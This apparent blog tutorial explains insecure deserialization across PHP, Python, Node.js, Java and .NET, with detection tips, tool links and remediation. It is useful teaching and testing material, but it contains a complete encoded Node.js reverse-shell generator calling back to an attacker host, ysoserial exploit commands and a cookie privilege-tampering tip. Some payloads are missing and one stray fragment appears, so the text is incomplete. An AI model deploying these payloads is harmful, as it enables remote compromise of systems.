What is Deserialization?
Serialization is the process of turning some object into a data format that can be restored later. People often serialize objects in order to save them to storage, or to send as part of communications.
Deserialization is the reverse of that process, taking data structured from some format, and rebuilding it into an object. Today, the most popular data format for serializing data is JSON. Before that, it was XML.
However, many programming languages offer a native capability for serializing objects. These native formats usually offer more features than JSON or XML, including customizability of the serialization process.
Impact of Serialization
Unfortunately, the features of these native deserialization mechanisms can be repurposed for malicious effect when operating on untrusted data. Attacks against deserializers have been found to allow denial-of-service, access control, and remote code execution (RCE) attacks as the attacker can re-use the application code which increases the attack surface.
How it Works + Cheatsheet
PHP
One can use the serialize() function to pack PHP objects up and use unserialize() to unpack it. When one controls a serialized object which is passed into unserialize(), it’s possible to have control over the values of these objects. In this case it’s possible to conduct PHP object injection using magical methods to lead variable manipulation, code execution, SQL injection, path traversal, or DoS.
PS: Some of the common magic methods to execute values are: __wakeup() or __destruct(). These methods will be executed automatically when unserialize() is called on an object.
You can achieve RCE attack by using the deserialization flaw by hijacking the magic function to provide malicious user input.
One possible way of exploiting a PHP object injection vulnerability is variable manipulation. For example, you can play around with the values in the following decoded Cookie value:
In this serialize string, you can try to change the value of “status” to “admin”, and see if the application grants you admin privileges.
The vulnerable PHP functions and possible safer replacements are given below:
Python-Pickle
In Python, the pickle module lets you serialize and deserialize data. Python docs for pickle states the following warning:
Warning: The pickle module is not secure. Only unpickle data you trust.
Vulnerable function:
Search code for the pattern below:
- The uses of pickle/c_pickle/_pickle with load/loads
- Uses of PyYAML with load
- Uses of jsonpickle with encode or store methods>/tmp/f
A simple Pickle RCE payload can be found below:
Python-NodeJS
A RCE payload for the Node-JS deserialization is given below:
#!/usr/bin/python
# Generator for encoded NodeJS reverse shells
# Based on the NodeJS reverse shell by Evilpacket
# https://github.com/evilpacket/node-shells/blob/master/node_revshell.js
# Onelineified and suchlike by infodox (and felicity, who sat on the keyboard)
# Insecurety Research (2013) - insecurety.net
import sys
if len(sys.argv) != 3:
print "Usage: %s <LHOST> <LPORT>" % (sys.argv[0])
sys.exit(0)
IP_ADDR = sys.argv[1]
PORT = sys.argv[2]
def charencode(string):
"""String.CharCode"""
encoded = ''
for char in string:
encoded = encoded + "," + str(ord(char))
return encoded[1:]
print "[+] LHOST = %s" % (IP_ADDR)
print "[+] LPORT = %s" % (PORT)
NODEJS_REV_SHELL = '''
var net = require('net');
var spawn = require('child_process').spawn;
HOST="%s";
PORT="%s";
TIMEOUT="5000";
if (typeof String.prototype.contains === 'undefined') { String.prototype.contains = function(it) { return this.indexOf(it) != -1; }; }
function c(HOST,PORT) {
var client = new net.Socket();
client.connect(PORT, HOST, function() {
var sh = spawn('/bin/sh',[]);
client.write("Connected!\\n");
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
sh.on('exit',function(code,signal){
client.end("Disconnected!\\n");
});
});
client.on('error', function(e) {
setTimeout(c(HOST,PORT), TIMEOUT);
});
}
c(HOST,PORT);
''' % (IP_ADDR, PORT)
print "[+] Encoding"
PAYLOAD = charencode(NODEJS_REV_SHELL)
print "eval(String.fromCharCode(%s))" % (PAYLOAD)
You can download the code here.
The following RCE payload can be passed as a value when one has the control over unserialize() function object values:
JAVA
Some of the tricks to detect JAVA deserialization for whitebox and blackbox approach are given below:
Whitebox:
The following Java API uses for potential serialization vulnerability:
- XMLdecoder with external user defined parameters
- XStream with fromXML method (xstream version <= v1.46 is vulnerable to the serialization issue)
- ObjectInputStream with readObject
- Uses of readObject, readObjectNodData, readResolve or readExternal
- ObjectInputStream.readUnshared
- Serializable
Blackbox:
Search the data include if it has the followings patterns:
- AC ED 00 05 in Hex
- rO0 in Base64
- Content-type header of an HTTP response set to application/x-java-serialized-object
For the sake of this example, let’s assume the application uses a serialization-based session mechanism and loads the Apache Commons Collections library. Even if we don’t have source code access, we can still exploit this using pre-built gadget chains by using the tool: ysoserial.
The syntax for ysoserial.jar file is given below:
java -jar ysoserial.jar CommonsCollections4 'command'
.NET
Some of the tricks to detect .NET deserialization for whitebox and blackbox approach are given below:
Whitebox:
Search the source code for the following terms:
- TypeNameHandling
- JavaScriptTypeResolver
Blackbox:
Search for the following base64 encoded content that starts with:
- AAEAAAD/////
Search for content with the following text:
- TypeObject
- $type
To exploit the attack, the ysoserial tool can again be used with the following syntax:
ysoserial.exe -g ObjectDataProvider -f Json.Net -c “command-here” -o base64
Detection Tools
Java
- Ysoserial: https://github.com/frohoff/ysoserial
- Java Deserialization Scanner: https://github.com/federicodotta/Java-Deserialization-Scanner
- SerialKiller: https://github.com/ikkisoft/SerialKiller
- Serianalyzer: https://github.com/mbechler/serianalyzer
- Java Unmarshaller Security: https://github.com/mbechler/marshalsec
- Java Serial Killer: https://github.com/NetSPI/JavaSerialKiller
- Android Java Deserialization Vulnerability Tester: https://github.com/modzero/modjoda
.NET
- Ysoserial.net: https://github.com/pwntester/ysoserial.net
Burp-Plugins
- Java: https://github.com/DirectDefense/SuperSerial
- Java: https://github.com/DirectDefense/SuperSerial-Active
- Burp-ysoserial: https://github.com/summitt/burp-ysoserial
Remediation
Based on OWASP’s recommendation, the following remediations are suggested:
Using Alternative Data Formats
A great reduction of risk is achieved by avoiding native (de)serialization formats. By switching to a pure data format like JSON or XML, you lessen the chance of custom deserialization logic being repurposed towards malicious ends.
Many applications rely on a data-transfer object pattern that involves creating a separate domain of objects for the explicit purpose data transfer. Of course, it’s still possible that the application will make security mistakes after a pure data object is parsed.
Only Deserialize Signed Data
If the application knows before deserialization which messages will need to be processed, they could sign them as part of the serialization process. The application could then to choose not to deserialize any message which didn’t have an authenticated signature.
If you’re looking for a more detailed walk through on deserialization, check out my latest video below.